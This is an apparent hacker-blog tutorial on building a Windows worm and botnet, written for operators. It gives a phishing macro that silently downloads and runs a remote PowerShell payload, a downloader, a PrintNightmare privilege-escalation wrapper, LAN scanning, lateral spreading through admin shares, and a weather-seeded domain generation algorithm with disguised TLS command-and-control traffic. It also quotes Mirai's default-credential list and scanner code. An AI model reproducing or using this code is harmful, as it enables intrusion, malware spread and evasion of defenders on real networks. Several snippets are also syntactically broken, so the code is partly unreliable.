In this piece, I’m breaking down the basics of botnet dev, how they’re structured, how they spread, and what keeps your payload alive in the wild. After stumbling on a thread asking “How to build an IoT botnet,” I figured I’d share a recent worm project I put together.

We’ll break down the infection process, payloads, DGA techniques, and C2 communications. Botnets are just malware with networked command and control nothing fancy, but the devil’s in the details. This isn’t a handout for running your own infections, so don’t get too excited. I’m walking through the phases, piece by piece overview first, then code and the why behind it.

We’ll cover OPSEC, stealth, evasion, and why most botnets on Windows end up as dead ends. The platform isn’t the point understanding the concept is. What separates a botnet that gets burned in weeks from one that operates for years is the aggressiveness of each phase, When you’re writing malware, don’t think like a regular software dev. It’s not about the “best” implementation or clean design. What matters is evasion, clear objectives, and how far you’re willing to push to get the job done.

What’s a Botnet?

A botnet’s a swarm of compromised machines under one operator’s control, usually running malware that hooks into each device. They roll through at least four core stages, each more important than the last.

The lifecycle looks like this: Initial Infection > Privilege Escalation > Lateral Movement > Command & Control. Sure, it can vary from one author to another, Miss any phase or half-ass the implementation, and your entire operation gets torched by researchers or security teams.

Starting with the classic spam campaign hustle simple enough to keep the source obscured. The entry point’s always social engineering, the infamous macro in an invoice-themed email to trick the target into dropping the first-stage payload.

Next, we moves in stages. we use PrintNightmare vuln to get admin rights and move sideways inside the network. The exploit runs, tries to get admin access, then scans the network for open SMB, RDP, and WinRM ports. Those open ports are the way in for spreading, dropping payloads quietly through admin shares to take control.

Finally, we get to the crown jewel: Domain Generation, Instead of using basic timestamp-based junk, we’re pulling in atmospheric data to generate C2 domains stuff like temperature, pressure, humidity. This makes it unpredictable and harder to reverse. No hardcoded C2s, no static lists. Even encrypted C2 addresses get burned fast.

So what do you do? You generate fresh domains on the fly, synced between bot and server using real world data both can access. takes down one domain, the bot just shifts to the next in the sequence. No need to update binaries or push new configs. It keeps your infrastructure fluid, alive, and hard to pin down,

The limitation is, we want to make it hard for researchers to reverse or replicate the algorithm. If they crack it, they get six months’ worth of predictable C2 domain and your whole botnet’s roadmap is exposed. (More on this as we go)

Every phase’s supported with detailed code breakdowns that show exactly how to implement these techniques from the initial macro triggered PowerShell downloader, through privilege escalation, network scanning, to the DGA for C2 communications.


Phase 1: Entry Point

Usually, you get emails attachments labeled like invoices classic bait for stage one: “The macro.” It’s a social engineering to trick some poor sap into running the payload hidden in the doc. It’s not just about sending random emails and hoping someone clicks. The successful campaigns I’ve seen follow a pattern that boosts infection rates and keeps detection low.

First, you need believable sender addresses. Not some obvious bullshit like wannabe123@gmail.com, but something that looks real, either spoofed or compromised. I’m not gonna show you how, go figure it out. The best campaigns I’ve looked at use compromised business emails or domains that look’s legit.

The attachment game is where most amateurs fuck up. You can’t just slap a macro into some random doc and expect results. The document has to look clean, professional, and actually say something relevant. It needs a reason something that makes the user want to enable macros. And yeah, basic fucking grammar matters.

Sub Auto_Open()
    Dim objShell As Object
    Set objShell = CreateObject("WScript.Shell")
    ' Download and execute the PowerShell payload
        objShell.Run "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command ""IEX (New-Object Net.WebClient).DownloadString('http://foo-operation.com/invoice.ps1')""", 0, False
    End If
End Sub

the moment it runs. Then it launches a hidden PowerShell session with execution policy bypassed to stay quiet. After that, it pulls the actual payload from a remote server. Once the macro executes, it downloads a PowerShell script that handles the infection logic:

$urlArray = \"".split(\",\");
$randomNumber = $randomGenerator.next(1, 65536);
$downloadedFile = \"c:\windows\temp\";
foreach($url in $urlArray){
	try{
		$webClient.downloadfile($url.ToString(), $downloadedFile);
		start-process $downloadedFile;
		break;
	}catch{}
}

This downloader is more sophisticated than the basic version in your original article:

Specifically, it targets the directory _C:\windows\temp/_. If the download is successful, the acquired file is executed. Should an error arise, the process continues with the next URL, as the catch clause is left empty. When this phase is triggered, the next stage involves checking a set of conditions before proceeding to download the final payload, These conditions are there for a controlled execution “we do not wanna shoot ourselves”.


Phase 2: Privilege Escalation

At this phase, your initial payload is running with limited user rights that’s not enough. You need admin privileges to install persistence, kill security tools, and get access to the good stuff that makes bots worth it.

The malware works in stages, injecting later parts into different processes. Here, we’re exploiting PrintNightmare, the Print Spooler vulnerability still effective on unpatched systems. This lets us hit weak machines, escalate privileges, and get ready to move laterally.

(CVE-2021-34527)

PrintNightmare isn’t just some random privilege escalation exploit it’s a fucking jackpot for botnet operators. works on Print Spooler service, which almost always runs with SYSTEM privileges on Windows machines. Exploit that, and you can jump from a low-level user straight to full admin in seconds.

The vulnerable systems include Windows 7, 8, 10, and Server editions from 2012 back to 2008. That’s a massive attack surface, and despite patches being available, corporate environments are notoriously slow to update.

function PrivEsc {
    if (-not (Test-Admin)) {
        $NightmareCVE = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($PrintNightmare))
        $d_path = "c:/users/$env:USERNAME/appdata/local/temp/$(Get-RandomString (Get-Random -Minimum 5 -Maximum 12))"
        Set-Content -Path "$d_path.ps1" -Value $NightmareCVE
        $try_nightmare = Invoke-Expression -Command "Import-Module $d_path.ps1; Invoke-Nightmare -NewUser '$env:USERNAME' -NewPassword '0xph001234!!'"
        if (Test-Admin) {
            Write-Host "got admin!"
            return $true
        }
        $check_imp = Invoke-Expression -Command 'whoami /priv' | ForEach-Object { $_.ToLower() }
        foreach ($line in $check_imp) {
            if ($line -match 'seimpersonateprivilege' -and $line -match 'enabled') {
            }
        }
    }
    return $false
}

First, we check if we’re already running as admin no point trying to escalate if we’ve got the rights. I designed it to generate a new PowerShell script file in a random directory $d_path.ps1 where I write the decoded exploit code. then executes the file using Invoke-Expression, imports it with Import-Module, and calls the Invoke-Nightmare function with parameters including the current username ($env:USERNAME) and a new password (‘0xph001234!!’).

After running the exploit, we checks for admin privileges using Test-Admin. If admin rights are confirmed, it outputs “got admin!” and returns true to signal success. Finally, it runs whoami /priv to verify whether the privilege escalation was successful or if the user already had the necessary rights.

At its core, the Invoke-Nightmare function builds and deploys the exploit payload. It takes parameters like a benign driver name, a new username, a new password, and optionally a custom DLL. If no DLL is provided, it generates one from a base64-encoded string (using the get_nightmare_dll function), embeds the credentials if given, and saves it temporarily.


Phase 3: Spreading Through the Network

re getting to the good stuff. You’ve got admin rights on one machine, but that’s just the beginning. The real value in operations comes from spreading laterally through the network, compromising as many systems as possible. One infected machine in a corporate environment can become hundreds of bots if you do this phase right.

In this phase, we perform network enumeration by scanning for vulnerable ports and exploiting open ones for potential propagation. The goal is to map out the local network, identify vulnerable services, and use those services to spread our payload to additional systems.

The first step is understanding the network topology. We need to identify other systems on the local network and determine which services they’re running. Here’s how we do comprehensive network discovery:

function Get-LAN {
    $interfaces = [Net.NetworkInformation.NetworkInterface]::GetAllNetworkInterfaces()
    $localIP = @()

    foreach ($interface in $interfaces) {
        if ($interface.Name -eq 'lo') {
            continue
        }
        
        $iface = $interface.GetIPProperties().UnicastAddresses | Where-Object { $_.Address.AddressFamily -eq 'InterNetwork' }
        if ($iface -ne $null) {
            foreach ($j in $iface) {
                $addr = $j.Address.IPAddressToString
                if ($addr -match '^192\.168|^172\.16') {
                    $localIP += $addr
                }
            }
        }
    }
    return $localIP
}

This function does several important things: Interface Enumeration Identifies all active network interfaces on the system Concentrates on private IP ranges (192.168.x.x, 172.16-31.x.x, 10.x.x.x) commonly used in corporate networks, Determines the network range for comprehensive scanning and Creates a list of IP addresses to scan for vulnerable services

Once we know the network topology, we need to identify vulnerable services running on other systems

function Get-VulnPorts {
    $vulnPorts = @('445', '3389', '5985')
    $vuln = @{}
    $localIP = Get-LAN

    foreach ($addr in $localIP) {
        $ipParts = $addr -split '\.'
        $range = [ipaddress]::Parse("$($ipParts[0]).$($ipParts[1]).1.0/24")

        foreach ($ip in $range.AddressList) {
            foreach ($port in $vulnPorts) {
                $client = New-Object System.Net.Sockets.TcpClient
                $result = $client.BeginConnect($ip, $port, $null, $null)
                $wait = $result.AsyncWaitHandle.WaitOne(100, $false)
                if ($wait -and !$client.Connected) {
                    if ($vuln.ContainsKey($ip.ToString())) {
                        $vuln[$ip.ToString()] += ",$port"
                    } else {
                        $vuln[$ip.ToString()] = $port
                    }
                }
                $client.Close()
            }
        }
    }
    return $vuln
}

Test each IP and port combo to see if you can connect If a connection attempt fails, log the IP and port in a hash table called $vuln and have a list of ports (445 for SMB, 3389 for RDP, and 5985 for WinRM) and iterate through each local IP, using System.Net.Sockets.TcpClient to test. Failed connections indicate open, and likely vulnerable, ports, which then get recorded in $vuln.

Now comes the fun part actually exploiting the services we’ve found, take a look at this

function Abuse-OpenPorts {
    $smb = '445'
    $mstsc = '3389'
    $ports = Get-VulnPorts

    foreach ($ip in $ports.Keys) {
        $openPorts = $ports[$ip] -split ','

        foreach ($port in $openPorts) {
            if ($port -eq $smb) {
                Drop-OnShare $ip
            } elseif ($port -eq $mstsc) {
                MSTSC-Nightmare $ip
            }
        }
    }

See if any open ports match known services like SMB or RDP. If SMB is detected, call Drop-OnShare to target shared network resources. For RDP, invoke MSTSC-Nightmare to escalate the vulnerability. The function triggers these specific routines based on the service associated with each open port.

Finally leveraging information gathered to exploit shared network resources on remote systems. Its core functionalities include payload delivery and lateral movement:

function Drop-OnShare($ip) {
    $payload = @"
    (New-Object Net.WebClient).DownloadFile('', 'C:\phoo.exe')
    Start-Process 'C:\'
"@
    
    $defaultShares = @('C$', 'D$', 'ADMIN$')
    $availableDrive = Get-PSDrive -Name 'Z' -ErrorAction SilentlyContinue

    if ($availableDrive -eq $null) {
        $availableDrive = Get-PSDrive -Name ('A'..'Z' | Where-Object { Test-Path $_: -PathType Container } | Select-Object -First 1)
    }

    foreach ($share in $defaultShares) {
        try {
            $sharePath = "\\$ip\$share"
            if (Test-Path -Path $sharePath) {
                $null = Invoke-Expression -Command "net use $($availableDrive.Name): $sharePath /user:username password 2>&1"
                if (Test-Path -Path "$($availableDrive.Name):") {
                    $payloadPath = "$($availableDrive.Name):\aaaa.ps1"
                    $payload | Set-Content -Path $payloadPath
                    $null = Invoke-Expression -Command "powershell -ExecutionPolicy Bypass -File $payloadPath"
                    Remove-Item -Path $payloadPath
                    $null = Invoke-Expression -Command "net use $($availableDrive.Name): /delete /yes"
                }
            }
        }
        catch {}
    }
}

The primary purpose of the Drop-OnShare($ip) function is to utilize the inherent vulnerabilities of shared network resources to distribute and execute payloads. Taking advantage of administrative shares, which does two main things: it delivers a payload and facilitates lateral movement within the network.

For each default administrative share (C$D$ADMIN$), it attempts to map the share to the available drive using the net use command with supplied credentials (username and password), If the share mapping is successful, the payload is written to a file on the remote system, executed, and then removed.


Phase 4: Command & Control

Once we got the stages and conditions are met we can proceeds as planned, the user’s device becomes part of our botnet. This involves the binary to identify and connecting to (C&C) server for what’s next. Once the previous stages are complete and conditions are met, the infected device becomes part of our botnet. This involves the binary identifying and connecting to the Command & Control (C2) server for instructions.

Most DGAs rely on predictable elements like time() or date-based seeds, letting analyst generate future domains by running the algorithm with current or upcoming timestamps. They also embed hardcoded constants magic numbers that become obvious once the binary is analyzed, Many use linear progressions or simple increments, creating easily recognizable patterns.

Limited entropy, relying on just one or two variables, shrinks the state space and makes brute forcing domains trivial. meaning botnet gets sinkholed in weeks as predict and register your domains ahead of time.

So I thought let use something hard to predict and it came to me Instead of the same tired timestamp based DGA bullshit we’re implementing a weather-based Domain Generation Algorithm using real-world weather data from multiple geographic locations. Weather is genuinely chaotic, changes unpredictably, and is publicly accessible through legitimate APIs. (which a weakness but stay with me.)

typedef struct {
    float temp;      
    float wind;     
    int humidity;  
    int pressure;   
    BOOL valid;    
} weather;

typedef struct {
    const char* host;  
    const char* path;   
    const char* city;    
} api_endpoint;

// This should be encrypted and decrypted on the fly, but honestly, it's fuckin'' weather data. lol
static api_endpoint endpoints[] = { 
    {"api.open-meteo.com", "/v1/forecast?latitude=52.52&longitude=13.41&current=temperature_2m,wind_speed_10m,relative_humidity_2m,surface_pressure&timezone=auto", "Berlin"},
    {"api.open-meteo.com", "/v1/forecast?latitude=55.76&longitude=37.62&current=temperature_2m,wind_speed_10m,relative_humidity_2m,surface_pressure&timezone=auto", "Moscow"},
    ....
    {NULL, NULL, NULL}
};

Then we use TLS with certificate validation to blend in with legitimate traffic:

typedef struct {
    SOCKET sock;                          
    CredHandle creds;                     
    CtxtHandle ctx;                      
    SecPkgContext_StreamSizes sizes;     
    int recv_bytes;                       
    int proc_bytes;                      
    int ready_bytes;                      
    char* plain_data;                     
    char buf[PACKET_LIMIT];               
} tls_conn;

static int tls_connect(tls_conn* conn, const char* host, unsigned short port) {
    WSADATA wsa;
    if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {
        return -1;
    }

    conn->sock = socket(AF_INET, SOCK_STREAM, 0);
    if (conn->sock == INVALID_SOCKET) {
        WSACleanup();
        return -1;
    }

    char port_str[64];
    wnsprintfA(port_str, sizeof(port_str), "%u", port);
    if (!WSAConnectByNameA(conn->sock, host, port_str, NULL, NULL, NULL, NULL, NULL, NULL)) {
        closesocket(conn->sock);
        WSACleanup();
        return -1;
    }

    SCHANNEL_CRED creds = {
        .dwVersion = SCHANNEL_CRED_VERSION,
        .dwFlags = SCH_USE_STRONG_CRYPTO | SCH_CRED_AUTO_CRED_VALIDATION | SCH_CRED_NO_DEFAULT_CREDS,
        .grbitEnabledProtocols = SP_PROT_TLS1_2,
    };

    if (AcquireCredentialsHandleA(NULL, UNISP_NAME_A, SECPKG_CRED_OUTBOUND, NULL, &creds, NULL, NULL, &conn->creds, NULL) != SEC_E_OK) {
        closesocket(conn->sock);
        WSACleanup();
        return -1;
    }

    conn->recv_bytes = conn->proc_bytes = conn->ready_bytes = 0;
    conn->plain_data = NULL;

    CtxtHandle* ctx = NULL;
    int result = 0;
    
    for (;;) {
        SecBuffer in_bufs[2] = { 0 };
        in_bufs[0].BufferType = SECBUFFER_TOKEN;
        in_bufs[0].pvBuffer = conn->buf;
        in_bufs[0].cbBuffer = conn->recv_bytes;
        in_bufs[1].BufferType = SECBUFFER_EMPTY;

        SecBuffer out_bufs[1] = { 0 };
        out_bufs[0].BufferType = SECBUFFER_TOKEN;

        SecBufferDesc in_desc = { SECBUFFER_VERSION, ARRAYSIZE(in_bufs), in_bufs };
        SecBufferDesc out_desc = { SECBUFFER_VERSION, ARRAYSIZE(out_bufs), out_bufs };

        DWORD flags = ISC_REQ_USE_SUPPLIED_CREDS | ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_CONFIDENTIALITY | ISC_REQ_REPLAY_DETECT | ISC_REQ_SEQUENCE_DETECT | ISC_REQ_STREAM;
        
        SECURITY_STATUS status = InitializeSecurityContextA(&conn->creds, ctx, ctx ? NULL : (SEC_CHAR*)host, flags, 0, 0, ctx ? &in_desc : NULL, 0, ctx ? NULL : &conn->ctx, &out_desc, &flags, NULL);

        ctx = &conn->ctx;

		if (status == SEC_E_OK) {
            break;  
        }
        else if (status == SEC_I_CONTINUE_NEEDED) {
            char* send_buf = out_bufs[0].pvBuffer;
            int send_sz = out_bufs[0].cbBuffer;

            while (send_sz != 0) {
                int sent = send(conn->sock, send_buf, send_sz, 0);
                if (sent <= 0) break;
                send_sz -= sent;
                send_buf += sent;
            }
            FreeContextBuffer(out_bufs[0].pvBuffer);
        }
        else if (status != SEC_E_INCOMPLETE_MESSAGE) {
            result = -1;
            break;
        }

        int recv_res = recv(conn->sock, conn->buf + conn->recv_bytes, sizeof(conn->buf) - conn->recv_bytes, 0);
        if (recv_res <= 0) {
            result = -1;
            break;
        }
        conn->recv_bytes += recv_res;
    }

    if (result == 0) {
        QueryContextAttributes(ctx, SECPKG_ATTR_STREAM_SIZES, &conn->sizes);
    }

    return result;
}

relies on native Schannel to minimize footprint, and generates traffic indistinguishable from standard HTTPS requests. To further blend in with legitimate traffic, we rotate User-Agent strings:

static const char* uas[] = {
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
....
};

BOOL get_weather(api_endpoint* ep, weather* w) {
    tls_conn conn;
    
    if (tls_connect(&conn, ep->host, 443) != 0) {
        return FALSE;
    }

    srand((unsigned int)time(NULL));
    const char* ua = uas[rand() % (sizeof(uas) / sizeof(uas[0]))];
    
    char req[2048];
    int len = snprintf(req, sizeof(req), 
        "GET %s HTTP/1.1\r\n"
        "Host: %s\r\n"
        "User-Agent: %s\r\n"
        "Accept: application/json\r\n"
        "Connection: close\r\n\r\n", 
        ep->path, ep->host, ua);
    
    if (tls_write(&conn, req, len) != 0) {
        tls_close(&conn);
        return FALSE;
    }

    char resp[DATA_BUFFER * 4] = {0};
    int total = 0;
    BOOL found = FALSE;

    for (;;) {
        char buf[8192];
        int res = tls_read(&conn, buf, sizeof(buf));
        if (res <= 0) break;
        
        if (total + res < sizeof(resp) - 1) {
            memcpy(resp + total, buf, res);
            total += res;
            resp[total] = '\0';
        }
        
        if (strstr(resp, "\"current\":") && strstr(resp, "}")) {
            if (parse_weather(resp, w)) {
                found = TRUE;
                break;
            }
        }
    }

    tls_close(&conn);
    return found;
}

ON Parsing for Weather Data We need lightweight, reliable JSON parsing without external dependencies:

BOOL get_float(const char* json, const char* key, float* val) {
    char pattern[256];
    snprintf(pattern, sizeof(pattern), "\"%s\":", key);
    
    const char* pos = strstr(json, pattern);
    if (pos) {
        pos += strlen(pattern);
        while (*pos == ' ' || *pos == '\t' || *pos == '\n' || *pos == '\r') pos++;
        if (strncmp(pos, "null", 4) == 0) return FALSE;
        
        char* end;
        *val = (float)strtod(pos, &end);
        return (end != pos && (*end == ',' || *end == '}' || *end == ' ' || *end == '\n'));
    }
    return FALSE;
}

BOOL get_int(const char* json, const char* key, int* val) {
    char pattern[256];
    snprintf(pattern, sizeof(pattern), "\"%s\":", key);
    
    const char* pos = strstr(json, pattern);
    if (pos) {
        pos += strlen(pattern);
        while (*pos == ' ' || *pos == '\t' || *pos == '\n' || *pos == '\r') pos++;
        
        if (strncmp(pos, "null", 4) == 0) return FALSE;
        
        *val = atoi(pos);
        return (*pos >= '0' && *pos <= '9') || *pos == '-';
    }
    return FALSE;
}

BOOL parse_weather(const char* resp, weather* w) {
    const char* curr = strstr(resp, "\"current\":");
    if (!curr) {
        return FALSE;
    }

    BOOL temp_ok = get_float(curr, "temperature_2m", &w->temp);
    BOOL wind_ok = get_float(curr, "wind_speed_10m", &w->wind);
    BOOL hum_ok = get_int(curr, "relative_humidity_2m", &w->humidity);
    BOOL press_ok = get_int(curr, "surface_pressure", &w->pressure);

    if (temp_ok && wind_ok) {
        if (!hum_ok) w->humidity = 50;      // humidity
        if (!press_ok) w->pressure = 1013;  // pressure
        
        w->valid = TRUE;
        return TRUE;
    }

    return FALSE;
}

This parsing method fits perfectly it’s lightweight with no need for external JSON libraries, simple enough to handle nulls and malformed data, gracefully defaults missing secondary values, and validates parsing success before moving on turning chaotic weather data into cryptographically strong entropy.

DWORD hash32(DWORD x) {
    x ^= x >> 16;
    x *= 0x85ebca6b;  
    x ^= x >> 13;
    x *= 0xc2b2ae35;    
    x ^= x >> 16;
    return x;
}

DWORD make_seed(const weather* w) {
    DWORD t = (DWORD)(fabs(w->temp) * 1000) & 0xFFFFF;      
    DWORD wind = (DWORD)(w->wind * 1000) & 0xFFFFF;         
    DWORD hum = (w->humidity * 1000) & 0xFFFFF;            
    DWORD press = (w->pressure) & 0xFFFFF;                  
    
    DWORD seed = hash32(t) ^ 
                 hash32(wind << 8) ^ 
                 hash32(hum << 16) ^ 
                 hash32(press << 24);
    
    SYSTEMTIME st;
    GetSystemTime(&st);
    DWORD time_mix = hash32((st.wHour << 16) | (st.wMinute << 8) | (st.wDay));
    seed ^= time_mix;
    
    return seed;
}

Here’s why this entropy extraction works so well, temperature and wind are scaled by 1000 to keep decimal precision (23.7°C becomes 23700), then masked to 20 bits to avoid overflow and keep ranges consistent. Each parameter is hashed separately using varied bit shifts so they influence different parts of the seed. Current time adds extra entropy but isn’t the main source. The hash relies on proven constants for excellent distribution, making small weather changes produce large seed variations. From this weather-based entropy, we generate actual domains.


static const char* words[] = {
"tech", "data", "cloud", "net", "web", "app", "dev", "sys", "info", "pro",
"service", "solution", "platform", "network", "system", "boobies", "center", "hub", "zone", "core", ...
};

static const char* tlds[] = {
".com", ".net", ".org", ".info", ".biz", ".co", ".io", ".tech", ".online", ".site"
};

VOID gen_domain(DWORD seed, DWORD seq, char* out, UINT len) {
seed = seed ^ (seq * 0x9e3779b9);

seed = seed * 1664525L + 1013904223L;
int word1_idx = seed % (sizeof(words) / sizeof(words[0]));

seed = seed * 1664525L + 1013904223L;
int word2_idx = seed % (sizeof(words) / sizeof(words[0]));

snprintf(out, len + 10, "%s%s", words[word1_idx], words[word2_idx]);

seed = seed * 1664525L + 1013904223L;
int tld_idx = seed % (sizeof(tlds) / sizeof(tlds[0]));

strcat(out, tlds[tld_idx]);
}

So basically, by mixing in the sequence numbers, you get totally different domain names even when starting from the exact same weather data. That means you’re not stuck with just one option you get a fresh batch every time.

And the domains themselves? They’re a mashup of those cool techy words you see in the list, combined with a solid set of popular TLDs like .com.io.tech basically, a combo that sounds legit and is more likely to get noticed or snapped up quickly. Pretty slick way to generate catchy domain names that feel real and usable, right? ;)

Finally, this DGA ties into the full botnet lifecycle once the binary is deployed, it runs from the first stage through to C2 communication, continuously generating domains based on weather data.

But here’s the kicker the fact we hitting fixed, well-known public endpoints cuts both ways. On one hand, it keeps the infrastructure simple and your traffic blends perfectly into normal weather API requests. On the other, Anyone can pull the same weather info at roughly the same times, making replication easier than if you’d used private or proprietary sources. The URLs and parameters are fixed and visible in the binary.

Even if encrypted on the fly, the endpoints are basically hardcoded and can be reverse engineered. So a skilled researcher will spot the weaknesses here, However The 24 independent variables (four parameters times six locations or even more) adds complexity but also means small inconsistencies can throw off domain predictions.


Final Notes:

Our botnet is still pretty uninteresting; I avoided the most part for obvious reasons: this is not true malware; it only has to teach you the basics. A botnet is an interesting piece of code and requires a skilled coder, not necessarily an experienced one. Understanding networking protocols, including TCP/IP, DNS, and HTTP, Also, some exploit development is initiated through the exploitation of vulnerabilities.

Setting up and maintaining C&C servers to issue commands to botnet nodes is one of the most important things to consider because it has many aspects. One of them is maintaining the OpSec of the botnet infrastructure and its operators. Implementing encryption and cryptographic techniques Planning for infections, spreading, and having a killswitch if things go sideways, which they always do

Why Windows botnets are such a pain is ’cause they feel like way too much work. Windows, especially the consumer stuff, gets updates and restarts all the time, which messes up the botnet staying alive. An LPE exploit that worked before might’ve been patched, so the bot just dies. Plus, Windows processes usually have way more overhead.

That said, you still see botnets on Windows mostly ransomware and banking trojans. But on Linux? Botnets straight-up thrive, and you don’t gotta jump through as many hoops to hack a Linux box. Like, take Mirai for example it’s all about Linux-based IoT devices. for which I explained a code snippet of the leaked source code in the original post.

Mirai is one of the successfully operated With over a quarter billion CCTV cameras around the world alone, as well as the continued growth of other IoT devices infected. So let’s revisit some of the functionalities. The malware performs wide-ranging scans of IP addresses to locate under-secured IoT devices that could be remotely accessed via easily guessable login credentials.

https://github.com/soufianetahiri/Mirai-Botnet/blob/master/mirai/bot/scanner.c#L123

    // Set up passwords
    add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10);                     // root     xc3511
    add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9);                          // root     vizxv
    add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8);                          // root     admin
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7);                      // admin    admin
    add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6);                      // root     888888
    add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x4F\x4A\x46\x4B\x52\x41", 5);                  // root     xmhdipc
    add_auth_entry("\x50\x4D\x4D\x56", "\x46\x47\x44\x43\x57\x4E\x56", 5);                  // root     default
    add_auth_entry("\x50\x4D\x4D\x56", "\x48\x57\x43\x4C\x56\x47\x41\x4A", 5);              // root     juantech
    add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17\x14", 5);                      // root     123456
    add_auth_entry("\x50\x4D\x4D\x56", "\x17\x16\x11\x10\x13", 5);                          // root     54321
    add_auth_entry("\x51\x57\x52\x52\x4D\x50\x56", "\x51\x57\x52\x52\x4D\x50\x56", 5);      // support  support
    add_auth_entry("\x50\x4D\x4D\x56", "", 4);                                              // root     (none)
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51\x55\x4D\x50\x46", 4);          // admin    password
    add_auth_entry("\x50\x4D\x4D\x56", "\x50\x4D\x4D\x56", 4);                              // root     root
    add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17", 4);                          // root     12345
    add_auth_entry("\x57\x51\x47\x50", "\x57\x51\x47\x50", 3);                              // user     user
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "", 3);                                          // admin    (none)
    add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51", 3);                              // root     pass
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C\x13\x10\x11\x16", 3);      // admin    admin1234
    add_auth_entry("\x50\x4D\x4D\x56", "\x13\x13\x13\x13", 3);                              // root     1111
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x51\x4F\x41\x43\x46\x4F\x4B\x4C", 3);          // admin    smcadmin
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13", 2);                          // admin    1111
    add_auth_entry("\x50\x4D\x4D\x56", "\x14\x14\x14\x14\x14\x14", 2);                      // root     666666
    add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51\x55\x4D\x50\x46", 2);              // root     password
    add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16", 2);                              // root     1234
    add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11", 1);                      // root     klv123
    add_auth_entry("\x63\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x4F\x47\x4B\x4C\x51\x4F", 1); // Administrator admin
    add_auth_entry("\x51\x47\x50\x54\x4B\x41\x47", "\x51\x47\x50\x54\x4B\x41\x47", 1);      // service  service
    add_auth_entry("\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", "\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", 1); // supervisor supervisor
    add_auth_entry("\x45\x57\x47\x51\x56", "\x45\x57\x47\x51\x56", 1);                      // guest    guest
    add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1);                      // guest    12345
    add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1);                      // guest    12345
    add_auth_entry("\x43\x46\x4F\x4B\x4C\x13", "\x52\x43\x51\x51\x55\x4D\x50\x46", 1);      // admin1   password
    .....

One of Mirai’s key features is its ability to launch HTTP floods and various network-layer (OSI layer 3-4) DDoS attacks. It can execute GRE IP and GRE ETH floods, SYN and ACK floods, STOMP floods, DNS floods, and UDP flood attacks.

Interestingly, Mirai includes a hardcoded list of IPs that its bots are programmed to avoid during scans. This list, which you can find below, includes the US Postal Service, the Department of Defense, the Internet Assigned Numbers Authority (IANA) and IP ranges belonging to Hewlett-Packard and General Electric.

https://github.com/soufianetahiri/Mirai-Botnet/blob/master/mirai/bot/scanner.c#L674

static ipv4_t get_random_ip(void)
{
    uint32_t tmp;
    uint8_t o1, o2, o3, o4;

    do
    {
        tmp = rand_next();

        o1 = tmp & 0xff;
        o2 = (tmp >> 8) & 0xff;
        o3 = (tmp >> 16) & 0xff;
        o4 = (tmp >> 24) & 0xff;
    }
    while (o1 == 127 ||                             // 127.0.0.0/8      - Loopback
          (o1 == 0) ||                              // 0.0.0.0/8        - Invalid address space
          (o1 == 3) ||                              // 3.0.0.0/8        - General Electric Company
          (o1 == 15 || o1 == 16) ||                 // 15.0.0.0/7       - Hewlett-Packard Company
          (o1 == 56) ||                             // 56.0.0.0/8       - US Postal Service
          (o1 == 10) ||                             // 10.0.0.0/8       - Internal network
          (o1 == 192 && o2 == 168) ||               // 192.168.0.0/16   - Internal network
          (o1 == 172 && o2 >= 16 && o2 < 32) ||     // 172.16.0.0/14    - Internal network
          (o1 == 100 && o2 >= 64 && o2 < 127) ||    // 100.64.0.0/10    - IANA NAT reserved
          (o1 == 169 && o2 > 254) ||                // 169.254.0.0/16   - IANA NAT reserved
          (o1 == 198 && o2 >= 18 && o2 < 20) ||     // 198.18.0.0/15    - IANA Special use
          (o1 >= 224) ||                            // 224.*.*.*+       - Multicast
          (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
    );

    return INET_ADDR(o1,o2,o3,o4);
}

I find this pretty intriguing because one rule I try to stick to is to avoid hardcoding stuff. But it’s wild that Mirai, despite being kinda basic, ended up powering one of the biggest cyberattacks ever. Mirai even hunts down and kills off competing IoT malware called “Anime.” It does this by spotting Anime’s executable path, then shuts it down and deletes it from the infected device.

            // Store /proc/$pid/exe into exe_path
            ptr_exe_path += util_strcpy(ptr_exe_path, table_retrieve_val(TABLE_KILLER_PROC, NULL));
            ptr_exe_path += util_strcpy(ptr_exe_path, file->d_name);
            ptr_exe_path += util_strcpy(ptr_exe_path, table_retrieve_val(TABLE_KILLER_EXE, NULL));

            // Store /proc/$pid/status into status_path
            ptr_status_path += util_strcpy(ptr_status_path, table_retrieve_val(TABLE_KILLER_PROC, NULL));
            ptr_status_path += util_strcpy(ptr_status_path, file->d_name);
            ptr_status_path += util_strcpy(ptr_status_path, table_retrieve_val(TABLE_KILLER_STATUS, NULL));

